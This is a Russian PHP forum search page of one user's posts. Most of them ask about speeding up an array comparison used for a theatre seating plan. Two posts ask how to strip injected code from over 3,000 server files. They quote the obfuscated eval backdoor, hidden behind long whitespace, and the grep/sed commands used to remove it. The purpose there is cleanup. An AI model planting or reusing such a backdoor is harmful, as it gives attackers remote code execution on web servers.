PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (1): [1]

> Найдено сообщений: 8
madfun Отправлено: 20 Июля, 2015 - 18:39:05 • Тема: Проблема с удалением вредоносного кода • Форум: Регулярные выражения

Ответов: 5
Просмотров: 521
CODE (htmlphp):
скопировать код в буфер обмена
  1. grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/  \/  \?>/g'
  2.  
  3. grep -Rl stop_ . | xargs sed -i 's/<[?]php.*stop_.*[?]>/<\?php \/\/  \?>/g'

(Добавление)
Всем спасибо, вопрос был решен.
madfun Отправлено: 12 Июля, 2015 - 19:13:05 • Тема: Проблема с удалением вредоносного кода • Форум: Регулярные выражения

Ответов: 5
Просмотров: 521
Здравствуй, многие файлы на сервере заражены путем вставки
PHP:
скопировать код в буфер обмена
  1. <?PHP                                                                                                                                                                                                                                                               $qV="";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q26712b'])){eval(${$s20}['q26712b']);}?>
в шапку файлов, меняется только число. Пытаюсь чистить с помощью php скрипта, но
PHP:
скопировать код в буфер обмена
  1. preg_replace("/\/<\?php\s*\$qV=\\"stop_\\";\$s20=strtoupper\(\$qV\[4\].\$qV\[3\].\$qV\[2\].\$qV\[0\].\$qV\[1\]\);if\(isset\(\$\{\$s20\}\['[a-zA-Z0-9]{7}'\]\)\)\{eval\(\$\{\$s20\}\['[a-zA-Z0-9]{7}'\]\);\}\?>\//", "", $input_lines);
выдает ошибку, подскажите, пожалуйста, в чем проблема?
(Добавление)
Может можно просто через терминал почистить? Всего более 3к файлов заражено на сервере, вручную не реально чистить.
madfun Отправлено: 11 Октября, 2012 - 15:21:11 • Тема: Оптимизация цикла\сравнения • Форум: Вопросы новичков

Ответов: 10
Просмотров: 273
KingStar мануал я читал, и пробовал делать по вашему примеру еще до того как Вы его написали, Вы наверное его не заметили. (3 сообщение)

Вопрос остается актуальным, буду безмерно благодарен за любою помощь.
Спасибо всем отписавшимся.
madfun Отправлено: 11 Октября, 2012 - 15:03:05 • Тема: Оптимизация цикла\сравнения • Форум: Вопросы новичков

Ответов: 10
Просмотров: 273
Я так пробовал, но видимо из-за того, что SaNeTi имеет больше записей второго уровня функция возвращает пустое значение,а array_diff_assoc() не полный список почему-то, хотя многие значения те которые должны быть.
madfun Отправлено: 11 Октября, 2012 - 14:30:06 • Тема: Оптимизация цикла\сравнения • Форум: Вопросы новичков

Ответов: 10
Просмотров: 273
Если не затруднит, подскажите пожалуйста более подробно, тк мои эксперименты с данной функцией пока никак не могут дать результат Недовольство, огорчение
madfun Отправлено: 11 Октября, 2012 - 13:53:18 • Тема: Оптимизация цикла\сравнения • Форум: Вопросы новичков

Ответов: 10
Просмотров: 273
Вот примеры массивов. Сравнение используется для построения плана зала, внесенные места сравниваются с заказанными билетами.

SaNeTi
Array
(
[0] => R
[1] => 3
[2] => 1
[3] => 648
[4] => 1301
[5] => 45.00
)

BroTic
Array
(
[0] => B li.
[1] => 7
[2] => 11
[3] => 85.00
)
madfun Отправлено: 11 Октября, 2012 - 13:34:40 • Тема: Оптимизация цикла\сравнения • Форум: Вопросы новичков

Ответов: 10
Просмотров: 273
Если заменить
PHP:
скопировать код в буфер обмена
  1. if ($BroTic[$key2][0] == $SaNeTi[$key1][0]) {
  2.                                 if ($BroTic[$key2][1] == $SaNeTi[$key1][1]) {
  3.                                     if ($BroTic[$key2][2] == $SaNeTi[$key1][2]) {
  4.                                         $identity = true;
  5.                                         break;
  6.                                     }
  7.                                 }
  8.                             }


на
PHP:
скопировать код в буфер обмена
  1. $result = array_diff ($SaNeTi[$key1], $BroTic[$key2]);
  2.                            
  3.                            if(empty($result))
  4.                            {$identity = true;
  5.                                         break;}


то скрипт вообще виснет =(
(Добавление)
Забыл сказать в массиве SaNeTi больше значений на 2 уровне.
madfun Отправлено: 11 Октября, 2012 - 13:02:16 • Тема: Оптимизация цикла\сравнения • Форум: Вопросы новичков

Ответов: 10
Просмотров: 273
Здравствуйте, очень нуждаюсь в помощи знающих людей.
Есть 2 больших массива значения которых сравниваются, скирпт очень долго выполняется, прошу подсказать как можно оптимизировать его либо подтолкнуть в сторону где можно найти решение.
PHP:
скопировать код в буфер обмена
  1.  
  2.  $c = 0;
  3. $co = count($colorprice);
  4. $co2 = count($BroTic);
  5. $co3 = count($SaNeTi);
  6.  
  7.         for ($key1 = 0;$key1 < $co3;$key1++) {
  8.         $identity = false;
  9.  
  10. for ($key2 = 0;$key2 < $co2;$key2++) {
  11.                 if ($BroTic[$key2][0] == $SaNeTi[$key1][0]) {
  12.                         if ($BroTic[$key2][1] == $SaNeTi[$key1][1]) {
  13.                                 if ($BroTic[$key2][2] == $SaNeTi[$key1][2]) {$identity = true;}
  14.                                                                                                                 }
  15.                                                                                                         }
  16.                                                                         }                                                                      
  17. if (!$identity) {
  18.         for ($n = 0;$n < $co;$n++)
  19.                                                         {
  20.                                                         if ($SaNeTi[$key1][5] == $colorprice[$n]['price']) {
  21.                                                                 $SaNeTi[$key1][6] = $colorprice[$n]['color'];
  22.                                                                                                                                                                 }
  23.                                                         }
  24. $coords[$c]['block'] = $SaNeTi[$key1][0]; // 'parkett links'
  25. $coords[$c]['place'] = $SaNeTi[$key1][2]; // 'x' place
  26. $coords[$c]['row'] = $SaNeTi[$key1][1]; // 'y' row
  27. $coords[$c]['x'] = $SaNeTi[$key1][3]; // X coord
  28. $coords[$c]['y'] = $SaNeTi[$key1][4]; // Y coord
  29. $coords[$c]['price'] = $SaNeTi[$key1][5]; // ticket's price
  30. $coords[$c]['color'] = $SaNeTi[$key1][6]; // price color
  31. $c+= 1;
  32.                                 }
  33.                                                                                 }
  34.  
  35.  

Страниц (1): [1]
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB